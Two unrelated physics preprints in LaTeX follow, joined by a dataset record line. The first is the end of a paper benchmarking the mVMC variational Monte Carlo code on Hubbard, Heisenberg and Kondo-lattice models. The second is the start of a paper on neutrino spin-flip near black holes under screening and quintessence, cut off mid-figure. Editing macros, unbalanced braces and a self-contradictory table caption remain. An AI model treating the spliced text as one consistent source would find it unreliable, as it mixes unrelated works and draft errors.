{We perform size extrapolation by fitting data with the second-order polynomials.}
}
\label{fig:Sq}
\end{center}
\end{figure}
To examine the accuracy of mVMC beyond the system size that can be
treated by the exact diagonalization,
we calculate \tido{the} $L\times L$ Hubbard and
Heisenberg
\yoshimi{models}
For large system sizes, the numerical cost becomes large,
we only perform the $2\times 2$ sublattice calculations and
do not perform the power-Lanczos calculations.
In
\tohgoe{Fig.} \ref{fig:Sq}, we show \yoshimi{the} size dependence of the
$\tilde{S}(\pi,\pi)/N_{\rm s}$ for the Hubbard model with $U/t=4$
and the Heisenberg model.
It has been shown that the \tohgoe{ground states} of the Hubbard model on the
square lattice and the Heisenberg model on the square lattice
have long-range antiferromagnetic order.
To detect the antiferromagnetic order, we perform the
size-extrapolation of the spin
\tohgoe{structure} factors and obtain the
spontaneous magnetization $m_{s}$, which is given by
\begin{align}
m_{s} = 2\Big[\lim_{L\rightarrow\infty} 3\tilde{S}(\pi,\pi)\Big]^{1/2}.
\end{align}
We note that the full saturated magnetic moment is given by $m_{s}=1$ in this definition.
For the Heisenberg model,
we plot results
{from} the
unbiased quantum Monte Carlo method in
\tido{R}ef.~\cite{Sandvik_PRB1997} and
compare with mVMC calculations.
For $L\leq 10$, the agreement is nearly perfect, i.e.,
mVMC can well reproduce the results by the QMC calculations
for larger system sizes beyond the exact diagonalization.
We find that
the deviation from
QMC results becomes larger
for $L\geq 12$.
We estimate $m_{s}=0.67$ from mVMC calculations, which is
higher than the estimate by the QMC calculations
($m_{s}=0.607$).
This deviation originates from the
\tohgoe{lower}
accuracy for the larger system sizes.
By taking large-sublattice structure and
performing power-Lanczos calculation, one can resolve this slight
deviations.
However, because such extended calculations are expensive
and beyond the scope of this paper,
we do not perform such calculations.
For the Hubbard model with $U/t=4$,
we obtain $m_{\rm s}=0.54$
which is again slightly larger than
those
{from} the} QMC calculations
($m_{\rm s}\sim0.48$~\cite{Varney_PRB2009,Tahara_JPSJ2008}).
\subsection{Kondo lattice model on the one-dimensional chain }
We apply mVMC to the Kondo lattice model in which
the local spin-$1/2$ spins
couple with the
\tohgoe{conduction} electrons through the
Kondo coupling $J$~\cite{Tsunetsugu_RMP1997}.
In \tohgoe{mVMC}, we describe the local spin by completely excluding the
double occupancy.
To examine the accuracy of mVMC for the Kondo lattice model,
we perform mVMC calculations for one-dimensional Kondo lattice model.
An example of the input file for
the $8$-site Kondo-lattice model is shown as follows:
\begin{verbatim}
model = "Kondo"
lattice = "chain"
L = 8
Lsub = 2
t = 1.0
J = 1.0
nelec = 8
2Sz = 0
NMPTrans = 2
\end{verbatim}
\begin{table*}[tb!]
\caption
Comparisons with exact diagonalization for one-dimensional Kondo-lattice model
with $J=1$, $t=1$, and $L=8$.
\imada{Notations are the same as Table 3.}
Upper (Lower) panel shows the results for spin singlet (triplet) sector.
In the triplet sector ($S=1$), we take total momentum as $K=\pi$, which gives the lowest
energy in $S=1$, while we take
total momentum as $K=0$ for $S=1$.
{The definitions of the spin
correlations in the Lanczos method
\imada{are} {the} same as those of Table \ref{table:L4Hub} for $S=0$.
For $S=1$, because spin-rotational symmetry is not preserved
and $S^{z}$ correlations
{are} not equivalent to that of $S^{x}$ and $S^{y}$ correlations.
{We} do not show the results of the spin correlations in the Lanczos method for $S=1$.}
}
\begin{center}
\begin{tabular}{llcccc}
\hline
($L=8$, $S=0$) & $E/N_{\rm s}$ & $S_{\rm onsite}$ & $S_{\rm nn}^{\rm loc}$ & $S(\pi)$ & {$N_{p}$} \\ \hline
ED & -1.394104 & -0.3151 & -0.3386 & 0.05685 & - \\
mVMC($2$) & -1.39350(1) & -0.3144(1) & -0.3363(1) & 0.05752(3) & 69 \\
mVMC($2$)+Lanczos & -1.39401(2) & -0.3152(2) & -0.336(1) & 0.05716(4) & 69 \\
mVMC($8$) & -1.39398(1) & -0.3151(2) & -0.3384(2) & 0.05693(4) & 261 \\
mVMC($8$)+Lanczos & -1.394097(2) & -0.3150(2) & -0.3377(3) & 0.0568(1) & 261 \\
\hline \hline
($L=8$, $S=1$) & $E/N_{\rm s}$ & $S_{\rm onsite}$ & $S_{\rm nn}^{\rm loc}$ & $S(\pi)$ & {$N_{p}$}\\ \hline
ED & -1.382061 & -0.2748 & -0.2240 & 0.05747 & - \\
mVMC($2$) & -1.38126(3) & -0.2738(2) & -0.2246(1) & 0.05822(1) & 69 \\
mVMC($2$)+Lanczos & -1.38187(1) & - & - & - & 69 \\
mVMC($8$) & -1.38171(3) & -0.2750(4) & -0.2249(7) & 0.0577(1) & 261\\
mVMC($8$)+Lanczos & -1.382011(2) & - & - & - & 261 \\
\hline
\end{tabular}
\end{center}
\label{table:Kondo}
\end{table*}
In
\tido{T}able \ref{table:Kondo}, we compare mVMC calculations
{to} the exact diagonalization {results}.
In \tido{the} mVMC calculations, we examine the \yoshimi{size dependence of} sublattice structure and
\yoshimi{the improvement by} the power-Lanczos method.
{Equally to the previous cases,}
\tido{the} mVMC calculations {for the Kondo lattice model} well reproduce
the result\tido{s} of the exact diagonalization and
the relative error becomes \tido{$10^{-4}$}\%.
Other physical
\tido{quantities} such as
the local spin correlations ($S_{\rm onsite}$) and
next-neighbor spin correlations for
local spins ($S^{\rm loc}_{nn}$),
and the spin structures are
well reproduced as shown in \tido{T}able \ref{table:Kondo}.
Definitions of the physical \tido{quantities} are given as
\begin{align}
S_{\rm onsite}&=\frac{1}{N_{s}}\sum_{i}\langle\vec{S}_{i}\cdot\vec{s}_{i}^{c}\rangle, \\
S_{\rm nn}^{\rm loc}&=\frac{1}{4N_{s}}\sum_{i,\mu}\langle\vec{S}_{\vec{r}_{i}+\vec{e}_{u}}\cdot\vec{S}_{\vec{r}_{i}}\rangle,
\end{align}
where $\vec{S}_{i}$ ($\vec{s}_{i}$) denotes
the spin operators for local (conduction electrons) spins.
In addition to the \tohgoe{ground state},
by selecting the different
quantum number, it is possible
to obtain the low-energy state
by using mVMC.
In the lower panel in
\tido{T}able \ref{table:Kondo},
we show the results of the spin triplet sector.
We note that the total momentum of the
lowest-energy state in the
spin triplet sector is given by $K=\pi$.
As show{n} in
\tido{T}able \ref{table:Kondo},
mVMC well reproduces the low-energy-excited state.
\section{Summary}
In summary,
we {have exposited} the basic usage of mVMC in Sec.~2
such as {the way}
to download {and build} mVMC and how to begin
calculations by mVMC.
In Standard mode, by preparing one input file whose
length is typically less than ten lines,
one can perform mVMC calculations for
standard models in the condensed matter physics
such as the Hubbard model, the Heisenberg model,
and the Kondo-lattice model.
By changing {keywords} for lattice,
one can treat several lattice structures
such as the one-dimensional chains,
the square lattice, the triangular lattice, and so on.
We
{have also presented}
the visualization tools included
in mVMC package.
In Sec.3, we
{have explained}
the basic algorithms used
in mVMC calculations such as {the} sampling method and
the update techniques in the sampling.
We
have also detailed the
wavefunctions implemented in mVMC and
the quantum number projections.
In Sec.3.4,
we
{have expounded on the }
optimization method used in mVMC, i.e.,
the basics of the
SR method.
\tido{In order to solve the large linear equations in the SR method,
we employ the efficient algorithm proposed
by Neuscamman {\it et al.} (SR-CG method)~\cite{Neuscamman_PRB2012}.
The SR-CG {method} is detailed in Sec.3.4.2.}
{Although the SR-CG method is an efficient method
for optimizing a large number of parameters,
\imada{more efficient method for smaller number of variational parameters ($<$2000)
were proposed~\cite{Toulouse_JCP2008}.
It is an intriguing future issue to examine it for the small size calculations.}}
In Sec. 4, we {have shown} several {benchmark results} of mVMC calculations.
For the Hubbard \tido{model}, Heisenberg model, and the Kondo-lattice \tido{model},
we {have compared} mVMC calculations
\yoshimi{to} the exact diagonalization \yoshimi{results}
and available unbiased calculations in the literature.
For all the models, we
{have shown} that mVMC
well reproduces the results by the exact diagonalization
and the unbiased calculation\tido{s} by the QMC.
We note that mVMC well reproduce\tido{s} not only energy but also
other physical
\tido{quantities} such as the spin correlations.
For the Kondo lattice model, we {have presented} the low-energy excited
state by choosing the spin triplet sector through
the quantum number projections and
{have shown} that mVMC also reproduces the low-energy excited state\tido{s}
with high accuracy.
{All results show that mVMC generates highly accurate
wavefunctions for}
\tido{the quantum many-body systems}.
Recent studies show that the accuracy of
the
VMC method is much more improved by
introducing the backflow correlations for Pfaffian wavefunctions~\cite{Ido_PRB2015}
and combining with the tensor network method~\cite{Zhao_RPB2017}.
Furthermore, in addition to the ground-state calculations,
recent studies show that the
VMC method can be applicable to
the real-time evolution
and the finite-temperature calculations
in the strongly correlated electron systems\tg{\cite{Ido_PRB2015, Takai_JPSJ2016}}.
Implementation of such extensions in mVMC is
a promising way to make mVMC more useful software and
will be reported in the near future.
\section{Acknowledgements}
We would like to express our sincere gratitude to Daisuke Tahara
for providing us his code of variational Monte Carlo method.
A part of mVMC is based on his original code.
We also acknowledge Hiroshi Shinaoka, Youhei Yamaji,
Moyuru Kurita, Ryui Kaneko, and Hui-Hai Zhao for their cooperations on developing mVMC.
We would also like to thank the support from
``{\it Project for advancement of software usability in materials science}"
by Institute for Solid State Physics, University of Tokyo,
for development of mVMC ver.1.0.
This work was also supported by Grant-in-Aid for
Scientific Research (16H06345 and 16K17746)
and Building of Consortia for the Development of Human Resources
in Science and Technology from the MEXT of Japan.
We also thank numerical resources from the Supercomputer
Center of Institute for Solid State Physics, University of Tokyo.
KI was financially supported by Grant-in-Aid for JSPS Fellows (No. 17J07021) and
Japan Society for the Promotion of Science through Program for Leading Graduate Schools (MERIT).
{
We thank
the computational resources of the K computer provided
by the RIKEN Advanced Institute for Computational
Science through the HPCI System Research project, as
well as the project "Social and scientific priority issue
(Creation of new functional devices and high-performance materials
to support next-generation industries; CDMSI)" to
be tackled by using post-K computer, under the project
number hp160201, and hp170263 supported by Ministry of Education, Culture,
Sports, Science and Technology, Japan (MEXT) .
}
|
1,477,468,749,998 | arxiv | \section{Introduction}
\label{intro}
Extended Theories of Gravity (ETG) have been mainly proposed to account for the
recent cosmological observations that suggest that our Universe is currently undergoing to an accelerated expansion \cite{riess,riess1,riess2,riess3,riess4,riess5}.
To account for such a behaviour of the Universe, an unknown form of energy (the Dark Energy) must be necessarily introduced.
ETG can be obtained in a different way, by generalizing the Hilbert-Einstein action either introducing higher-order curvature invariants, $\mathcal{L}\sim f(R,R_{\mu\nu}R^{\mu\nu},\Box^k R,\dots)$
(here $R$ is the Ricci scalar, $R_{\mu\nu}$ the Ricci tensor, and $\Box=\frac{1}{\sqrt{-g}}\partial_\mu (\sqrt{-g}g^{\mu\nu}\partial_\nu)$ the D'Alambertian operator in curved spacetimes, with $g$ the determinant of the metric tensor $g_{\mu\nu}$) or introducing one or more than one scalar fields, obtaining the so-called scalar tensor theories \cite{Capozziello:2011et,Amendola,starobinski,starobinski1} . These generalization of General Relativity are also related to the fact that, at high curvature regimes, curvature invariants are necessary in order to have self-consistent effective actions \cite{birrell,shapiro,barth}.
The ETG allow to address the shortcomings of the Cosmological Standard Model (for example, higher-order curvature invariants allow to get inflationary behaviour, remove the primordial singularity, explain the flatness and horizon problems) \cite{starobinski,starobinski1} (for further applications, see Refs. \cite{Capozziello:2011et,Amendola,Tino:2020nla,cosmo1,cosmo2,cosmo3,cosmo4,cosmo5,cosmo6,cosmo7,cosmo8,cosmo9,cosmo10,cosmo11,cosmo12,cosmo13,cosmo14,cosmo15,cosmo17,cosmo18,cosmo19,cosmo20,cosmo21,cosmo22,cosmo23,cosmo24,cosmo25}).
Among the various scalar-tensor dark energy models proposed in the literature for explaining the cosmic acceleration of the Universe, it is worth mentioning the model of Refs. \cite{Amendola,[24],[25],[26]} based on the interaction quintessence-neutrino. Such an interaction is described by a conformal coupling in such a way that when the massive neutrinos became nonrelativistic, by activating the quintessence, the Universe acceleration starts. In these models, the quintessence and matter (including neutrinos) interact, and the interaction is given by a conformal coupling \cite{[28],[29],[30]} that induces in turn screening effects. The latter are mainly classified as chameleon models \cite{[31],[32],[33],[34]} and symmetron models \cite{[35],36a}. The relevant consequence of the screening effects is that the scalar fields behaviour is strongly related to the matter density of the environment, with the consequence that in a dense region they are screened.
This paper aims to investigate the propagation of neutrinos in geometries described by ETG and coupled to quintessence, focusing in particular
on the spin-flip of neutrinos when they scatter off Black Holes (BH).
Experiments on neutrino physics provide clear evidence that neutrino oscillates in different flavors \cite{Ace19,Ker20,Aga19}.
These results not only give indirect proof of the fact that neutrinos are massive particles but, in turn,
they represent an indication of physics beyond the Standard Model.
New possibilities to study the neutrino properties are offered by the interactions with external fields,
which could be magnetic fields or gravitational fields, to which we are interested in.
In the first case, the formulas of the oscillation probabilities of neutrino in different flavors are affected if
neutrinos interact with external fields \cite{BalKay18}, as well as interactions with electromagnetic fields may also induce a helicity transition
of neutrinos with different helicities. These processes are generically called spin oscillation and/or spin-flavor oscillations~\cite{Giu19}.
The latter is also influenced when neutrino propagates in a curved background.
It is well known that the gravitational interaction can affect the neutrino oscillations or induce the change of the polarization
of a spinning particle \cite{Pap51,PirRoyWud96,SorZil07,ObuSilTer17,Dvo06,Dvo19,Cuesta,luca,Cardall,Visinelli,Chakraborty,Sor12,Ahluwalia,Punzi,Swami,CuestaApJ,LambMNRAS,Capozz}.
Here we study the helicity transitions (spin oscillations) of neutrinos $\nu_{fL}\to\nu_{fR}$, in which
neutrino flavors do not change under the influence of external gravitational fields (the case of neutrino flavor oscillations has been studied in \cite{Sadjadi:2020ozc}).
Since in the Standard Model neutrinos are produced with fixed left-handed polarization, a change in right-handed polarization
induced by a gravitational field would mean that they become sterile, and therefore do not interact (except gravitationally). As a consequence,
a detector would register a different neutrino flux, giving a signature of the coupling of neutrinos with quintessence fields screening the gravitational source.
We also discuss the effects of the quintessence field surrounding a black hole on neutrino flavor oscillations and neutrino spin flip. The existence of a quintessence diffuse in the Universe has opened the possibility that it could be present around a massive gravitational object, deforming the spacetime around a gravitational source. In \cite{Kiselev:2002dx} the Einstein field equations have been solved for static spherically symmetric quintessence surrounding a black hole in $d=4$ dimensions. As a result, the Schwarzschild geometry gets modified.
The paper is organized as follows. In the next Section, we review the spin-flip transition in a general curved spacetime.
In Section 3 we consider neutrino interaction through the conformal coupling \cite{[28],[29],[30]} responsible for screening effects, and compute the transition probabilities. In Section 4 we study the neutrino flavor and spin transition in a background described by a black hole surrounding by a quintessence field. We shortly analyzed the quintessence field on nucleosynthesis processes.
In the last Section, we discuss our conclusions.
\section{Neutrino spin evolution in a generic gravitational field}
\label{Neutrino spin evolution in a generic}
In this Section we treat the neutrino spin oscillation problem in a generic gravitational metric. We follow the papers by Dvornikov \cite{Dvornikov:2020oay} and Obukhov-Silenko-Teryaev \cite{Obukhov:2009qs}. The motion of a spinning particle in gravitational fields is related to its spin tensor $S^{\mu\nu}$ and momentum $p^{\mu}$
\begin{align}
\frac{DS^{\mu\nu}}{D\lambda}&=p^{\mu}v^{\nu}-p^{\nu}v^{\mu} \,\ \\
\frac{Dp^{\mu}}{D\lambda}&=-\frac{1}{2}R^{\mu}_{\nu\rho\sigma}v^{\nu}S^{\rho\sigma} \,,
\end{align}
where $v^{\mu}$ is the unit tangent vector to the center of mass world line, $\lambda$ is the parameter, $D/D\lambda$ is the covariant derivative along the world line and $R^{\mu}_{\nu\rho\sigma}$ is the Riemann tensor. One can define the spin vector as
\begin{equation}
S_{\rho}=\frac{1}{2m}\sqrt{-g}\epsilon_{\mu\nu\lambda\rho}p^{\mu}S^{\nu\lambda} \,\ ,
\end{equation}
with $\epsilon_{\mu\nu\lambda\rho}$ the completely antisymmetric tensor, $g$ the determinant of the metric $g_{\mu\nu}$ and $m^2=p_{\mu}p^{\mu}$.
Using the principle of General Covariance, the particle motion has to satisfy the following relations
\begin{align}
\frac{DS^{\mu}}{D\tau}&=0 \,, \\
\frac{DU^{\mu}}{D\tau}&=0 \,.
\end{align}
where $U^{\mu}=dx^{\mu}/d\tau$ and $\tau$ is the proper time. This means that
\begin{align}
\frac{dS^{\mu}}{d\tau}=-\Gamma^{\mu}_{\alpha\beta}U^{\alpha}S^{\beta} \,, \\
\frac{dU^{\mu}}{d\tau}=-\Gamma^{\mu}_{\alpha\beta}U^{\alpha}U^{\beta} \,.
\end{align}
However, in the particle description, what is relevant is the spin measured in the rest frame of the particle: we will use the tetrads $V^{a}_{\mu}$ to do the transformation. They are defined as
\begin{equation}
g_{\mu\nu}=V^a_{\mu}V^b_{\nu}\eta_{ab} \,,
\end{equation}
where $\eta_{ab}$ is the Minkowski metric. The equations in the local frame have the form:
\begin{align}
\frac{ds^a}{dt}=\frac{1}{\gamma}G^{ab}s_b \,, \\
\frac{du^a}{dt}=\frac{1}{\gamma}G^{ab}u_b \,,
\end{align}
where $s^a=S^{\mu}V^a_{\mu}$, $u^a=U^{\mu}V^a_{\mu}$, $\gamma=U^0=dt/d\tau$, $G^{ab}=\eta^{ac}\eta^{bd}\gamma_{cde}u^e$, $\gamma_{abc}=\eta_{ad}V^{d}_{\mu;\nu}V_b^{\mu}V_c^{\nu}$ and
\begin{equation}
V^{d}_{\mu;\nu}=\frac{DV^d_{\mu}}{dx^{\nu}} \,.
\end{equation}
The evolution of the spin vector $\mathbf{s}^a$ is given by
\begin{equation}
\frac{d\mathbf{s}^a}{dt}=\frac{2}{\gamma}(\bm{\zeta}\times \mathbf{G})=2\,\bm{\zeta}\times\mathbf{\Omega_g} \,,
\label{evolution}
\end{equation}
where $\mathbf{\zeta}$ and $\mathbf{G}$ are defined as
\begin{align}
\mathbf{s}^a&=\left(\bm{\zeta\cdot u},\mathbf{\zeta}+\frac{\bm{u(\zeta \cdot u)}}{1+u^0}\right) \,, \\
\mathbf{G}&=\frac{1}{2}\left(\mathbf{B}+\frac{\mathbf{E}\times\mathbf{u}}{1+u^0}\right) \,, \\
u&=(u^0,\mathbf{u}) \,,
\end{align}
with $G_{0i}=E_i$ and $G_{ij}=-\epsilon_{ijk}B_k$.
In the metric of our interest, $\Omega_g=(0,\Omega_2,0)$ and therefore we can use the following representation for $\bm{\zeta}=(\zeta_1,0,\zeta_3)=(\cos{\alpha},0,\sin{\alpha})$.
We are interested into studying the neutrino spin oscillation and therefore we focus on the helicity of the particle $h=\bm{\zeta \cdot u}/|\bm{u}|$. The initial helicity for a neutrino is $h_{-\infty}=-1$ and defining the initial condition $\bm{u}_{-\infty}=\left(-\sqrt{E^2-m^2},0,0\right)$ one can get that $\bm{\zeta}_{-\infty}=(1,0,0)$, $\alpha_{-\infty}=0$. Moreover, we can write that $\bm{u}_{+\infty}=\break \left(+\sqrt{E^2-m^2},0,0\right)$ and therefore $h_{+\infty}=\cos{\alpha}$.
From that, we can state that the helicity states of the neutrino can be written as:
\begin{align}
\psi_{-\infty}&=\ket{-1} \,\ \\
\psi_{+\infty}&=a_+\ket{-1}+a_-\ket{1} \,,
\end{align}
where $a_+^2+a_-^2=1$ due to the normalization and $a_+^2-a_-^2=\cos\alpha=\langle h\rangle_{+\infty}$. From that, one obtains that $a_{\pm}^2=(1\pm\cos{\alpha})/2$ and the probability to find a neutrino with right-handed helicity is
\begin{equation}\label{PLR18}
P_{LR}=|a_-|^2=\frac{1-\cos\alpha_{+\infty}}{2} \,.
\end{equation}
Using Eq. (\ref{evolution}), we obtain
\begin{equation}
\frac{d\sin\alpha}{dt}=2\cos\alpha\Omega_2\quad\rightarrow\quad\alpha=2\Omega_2 t \,.
\end{equation}
Therefore, it is possible to write
\begin{equation}
\frac{d\alpha}{dr}=\frac{d\alpha}{dt}\frac{dt}{dr}=\frac{d\alpha}{dt}\frac{dt}{d\tau}\frac{d\tau}{dr} \,,
\end{equation}
where $dt/d\tau=U^0$ and $dr/d\tau=U^1$. Finally, the angle $\alpha_{+\infty}$ reads
\begin{equation}
\alpha_{+\infty}=\int dr\frac{d\alpha}{dr} \,\ .
\label{21}
\end{equation}
\section{Neutrino propagating in conformal metric (screening effects)}
We consider the action with a scalar field conformally coupled to matter
\begin{eqnarray}\label{Action1}
S= \int d^4x \sqrt{-g}\Bigg[\frac{M_{p}^2}{2}R - \frac{1}{2} g^{\mu\nu} \partial_\mu \phi \partial_\nu \phi - V(\phi) \Bigg] +
+ \int d^4x {\cal L}_m \left(\Psi_i , \tilde{g}_{\mu\nu}\right),
\end{eqnarray}
where ${\cal L}_m$ is the Lagrangian density of the matter fields $\Psi_i$, the metric $\tilde{g}_{\mu\nu}$ is related to the metric $g_{\mu\nu}$, by the relation \cite{Faraoni:1998qx,Carneiro:2004rt,Bean}
\begin{equation}\label{gtilde}
\tilde{g}_{\mu\nu} = A^2(\phi) g_{\mu\nu}\,,
\end{equation}
and $M_{p}$ is the reduced Planck mass.
The conformal factor $A(\phi)$ appearing into Eq. (\ref{gtilde}) is a function of the scalar field $\phi$ and induces screening effects. Different screening mechanisms have been proposed in literature, such as, the chameleon \cite{[31],[32],[33],[34]} and symmetron \cite{[35],36a} mechanisms (see also the Vainshtein mechanism \cite{Vainshtein}). They differentiate by the different choices of the coupling and potential functions.
For example, in the case of chameleon mechanism one chooses
\begin{equation}\label{Aphi}
A(\phi) \equiv \exp\left[{\frac{1}{M_p} \int \beta(\phi) d\phi}\right],
\end{equation}
where $\phi$ is the chameleon conformal field, and $\beta(\phi)$ is a field-dependent coupling parameter (a simple choice is $\beta$ a constant value of the order $\beta \sim {\cal O}(1)$). In the case of the symmetron mechanism, the $\mathbb{Z}_2$-symmetry imposes to choose a quadratic coupling function, $A(\phi) \equiv 1 + \frac{\phi^2(r)}{2M^2}$. In what follows we shall assume
that $A(\phi)$ is universal in order to respect the equivalence principle.
To apply the results of Sec.~\ref{Neutrino spin evolution in a generic}, we consider neutrino propagation near a non-rotational BH in a conformal metric (see (\ref{gtilde})), with $g_{\mu\nu}$ given by
\begin{equation}
g_{\mu\nu}=A(\phi)\left(-f(r),\frac{1}{f(r)},r^2,r^2\sin^2\theta\right) \,,
\end{equation}
with $f(r)=1-2M/r$ (Schwarzschild geometry) . Since the metric is spherically symmetric, we can take the motion of the neutrino in the equatorial plane ($\theta=\pi/2$ and $d\theta=0$). With this condition, we obtain
\begin{equation}
\Omega_2=\frac{L\sqrt{1-\frac{2M}{r}}}{2Er^2}\frac{Am\left(1-\frac{2M}{r}\right)^{\frac{3}{2}}+E\left(1-\frac{3M}{r}\right)}{Am\left(1-\frac{2M}{r}\right)+E} \,.
\end{equation}
From Eq.~(\ref{21}) we can define
\begin{equation}
\alpha_{+\infty}=\int_{x_m}^{+\infty}\frac{d\alpha}{dx}\frac{dx}{dr}dr \,,
\end{equation}
where $x_m$ is the minimumm value of $x=r/2M$ allowed in the expression of $d\alpha/dx$. Indeed, it is possible to write
\begin{eqnarray}
\frac{d\alpha}{dr}&=&
\frac{4L}{m}\sqrt{1-\frac{2M}{r}} \frac{\cal A}{\cal B}\,, \\
{\cal A}&\equiv &
A\left(-2+\frac{r}{M}\right)^2+\frac{Er}{mM}\left(\frac{r}{M}-3\right)\sqrt{1-\frac{2M}{r}}\,, \nonumber \\
{\cal B} &\equiv&
\sqrt{\frac{\left(-1+\frac{E^2}{m^2A(1-2M/r)}-\frac{L^2M^2}{Am^2r^2}\right)\left(1-\frac{2M}{r}\right)}{A}} \left(\sqrt{A}\left(-2+\frac{r}{M}\right)+\frac{Er}{mM}\sqrt{1-\frac{2M}{r}}\right) \frac{Ar^3}{M^3} \Bigg(-1 + \frac{2M}{r}\Bigg)\,, \nonumber
\end{eqnarray}
where the $x_m$ is given by the condition
\begin{equation}
\left(\frac{E^2}{m^2A(1-2M/r)}-\frac{L^2M^2}{Am^2r^2}-1\right)\frac{r-2M}{Ar}>0 \,\ .
\end{equation}
Moreover, it is useful to use the following variable
\begin{align}
y&=\frac{b}{2M} \,,\\
b&=\frac{L}{E}\frac{1}{\sqrt{1-\gamma^{-2}}} \,, \\
\gamma&=\frac{E}{m} \,,
\end{align}
where $y>y_0$ with $y_0$ the critical impact parameter that for massive particle depends on $\gamma$. The critical impact parameter can be found from the effective potential of black hole
\begin{equation}
V_{\mathrm{eff}}=\frac{Am^2(1-\frac{1}{\gamma^{2}})}{L^2}\left(1-\frac{2M}{r}\right)\left(1+\frac{L^2}{Am^2r^2}\right) \,,
\end{equation}
imposing $dV_{\mathrm{eff}}/dr=0$, finding the maximum and then solve the equation
\begin{equation}
\left(\frac{dr}{d\tau}\right)^2=0=\frac{1}{b^2}-V_{\mathrm{eff}} \,.
\label{bcrit}
\end{equation}
From Eq.~(\ref{bcrit}), one can obtain the critical impact parameter. Finally one can use Eq.~(\ref{21}) to find the probability of a neutrino spin flip. Results, for $\gamma=10$, are shown in Fig.~\ref{Conf1},\ref{Conf1.0005} and \ref{Conf1.1}.
In Fig.~\ref{Conf1}, we have used a factor $A=1$, recovering the results in Ref.~\cite{Dvornikov:2020oay} (with a factor $1/2$ overall).
In the case of the chameleon theory, the conformal factor $A(\phi)$ is given by (\ref{Aphi}). The simplest conformal model is that with $\beta$ constant and $A=\exp(\beta(\phi)\phi/M_p)$. Referring to \cite{Sadjadi:2020ozc} (see Fig. 10 and 11), it turns out that $(\beta,\phi)$ may assume the values $(1,1.483\times 10^{27}~\mathrm{eV})$ or $(10,4.69\times 10^{26}~\mathrm{eV})$ which lead to $A\geq 1.1$. However, in general, using the exponential definition it results that $A\geq 1$.
As shown in Fig. \ref{Conf1.1}, the neutrino spin oscillation probability in chameleon theories is suppressed respect to GR, so that the flux of (non-relativistic) neutrinos with initial fixed (left-handed) polarization arriving at detector remains unaltered.
It is worth noting that also small deviations from $A=1$ (GR case) induce suppression of the spin-flip probability, as shown in Fig.~\ref{Conf1.0005} for $A=1.0005$.
\begin{figure}
\centering
\includegraphics[scale=0.9]{Conformal_Drov_1.pdf}
\caption{Probability of spin flip plotted respect to the value of the variable $y$. As it can be see, for larger value of $y$ the probability goes to zero. We have used the value of $\gamma=10$ and $A=1$.}
\label{Conf1}
\end{figure}
\begin{figure}
\centering
\includegraphics[scale=0.9]{Conformal_Drov_1.0005.pdf}
\caption{Probability of spin flip plotted respect to the value of the variable $y$. As it can be see, for larger value of $y$ the probability goes to zero. We have used the value of $\gamma=10$ and $A=1.0005$.}
\label{Conf1.0005}
\end{figure}
\begin{figure}
\centering
\includegraphics[scale=0.9]{Conformal_Drov_1.1.pdf}
\caption{Probability of spin flip plotted respect to the value of the variable $y$. As it can be see, for larger value of $y$ the probability goes to zero. We have used the value of $\gamma=10$ and $A=1.1$.}
\label{Conf1.1}
\end{figure}
\section{Neutrinos interacting with Quintessence field}
As a second example, we consider neutrinos propagating near a non-rotational black hole surrounding by a quintessence field \cite{Kiselev:2002dx,Chen:2008ra}
\begin{equation}
g_{\mu\nu}=\left(-f_1(r),\frac{1}{f_1(r)},r^2,r^2\sin^2\theta\right) \,\ ,
\end{equation}
where $f_1(r)=1-2M/r-c/r^{3\omega_q+1}$, where $c$ is a positive constant and $-1<\omega_q<-1/3$.
\subsection{Neutrino flavor oscillations}
Let us shortly recall the neutrino oscillations in curved space-times (see, for example, Refs. \cite{1997Fornengo,Cardall}, and references therein)
Neutrino flavor oscillations occur owing the fact that neutrino flavor eigenstates $|\nu_\alpha\rangle$ are linear combinations of neutrino mass eigenstates $|\nu_j\rangle$
as
\begin{equation}
|\nu_{\alpha}\rangle= \sum_i U_{\alpha i}\, e^{-i\Phi_i} |\nu_{j}\rangle ,
\label{neutreigenst}
\end{equation}
where $\alpha$ ($i$) labels the neutrino flavor (mass) eigenstates, while $U_{\alpha j}$ is the (unitary) mixing matrix between the flavor eigenstates and the mass eigenstates. The phase $\Phi_j$ is associated to the $i$\textit{th} mass eigenstate, and in a curved spacetimes reads
\begin{equation}
\Phi_i= \int P_{(i)\mu}dx^{\mu}
\label{phaseosc}\,.
\end{equation}
Here $P_{(i)\mu}$ indicates the four-momentum of the mass eigenstate $i$. In what follows we shall assume that neutrinos just have two flavors, so that introducing the mixing angle $\Theta$, the transition probability from one flavor eigenstate $\alpha$ to
another $\beta$ is given by
\begin{equation}
P(\nu_{\alpha}\rightarrow \nu_{\beta})= \sin^2(2\Theta)\sin^2\left(\frac{\Phi_{jk}}{2}
\right),
\label{transprob}
\end{equation}
where $\Phi_{jk}\doteq \Phi_j-\Phi_k$.
The explicit form of $\Phi_i$ in a Schwarzschild like geoemtry reads \cite{1997Fornengo,Cardall,Cuesta}
\begin{eqnarray}\label{phaseosci}
\Phi_j &=& \int dr\frac{m_j}{\dot{r}}=\int \frac{ m_j^2 dr}{\sqrt{E^2 -
g_{00}(r) \left[\frac{L^2}{r^2}+
m_j^2 \right]}} \,\ ,
\end{eqnarray}
where $L$ represents the angular momentum of particles. Equation (\ref{phaseosci}) is exact. The phase $\Phi_i$ vanishes for null geodesics\footnote{This follows by the fact that $p_{\mu}dx^{\mu}=g_{\mu\beta}p^{\beta}dx^{\mu}\propto ds^2$,
which vanishes for null paths}.
From \cite{Cuesta} one infers the neutrino oscillation length, which estimates the length over which a given neutrino has to travel for $\Phi_{jk}$ to change by $2\pi$.
Assuming that the particles involved have the same energy $E$, with $E\gg m_{j,k}$, the oscillation length is given by
\begin{equation}
L_{osc}\doteq \frac{dl_{pr}}{d\Phi_{jk}/(2\pi)} \simeq \frac{2\pi
E}{\sqrt{g_{00}} (m^2_j-m^2_k)}\,,
\label{osclength}
\end{equation}
where $dl_{pr}=\left(-g_{ij}\right)dx^idx^j$ is the infinitesimal proper distance (for a Schwarzschild-like geometry),
with $i,j=1,2,3$ (here we are using the natural units - the conventional units are restored multiplying the right-hand side of (\ref{osclength}) with $\hbar/c^3$). As we can see from (\ref{osclength}), the oscillation length decreases whenever $g_{00}$ increases.
In Fig.~\ref{Quint_OL2} it is possible to see the ratio between the oscillation length in GR and that in the quintessence framework with $\omega=-0.4,c=0.4$, $\omega=-0.4,c=0.2$ and $\omega=-0.6,c=0.02$ respectively. As it can be seen, increasing $c$ with the same $\omega_q$ or lowering $\omega_q$ with the same $c$ tends to enhance the difference between GR and the quintessence metric.
\begin{figure}
\centering
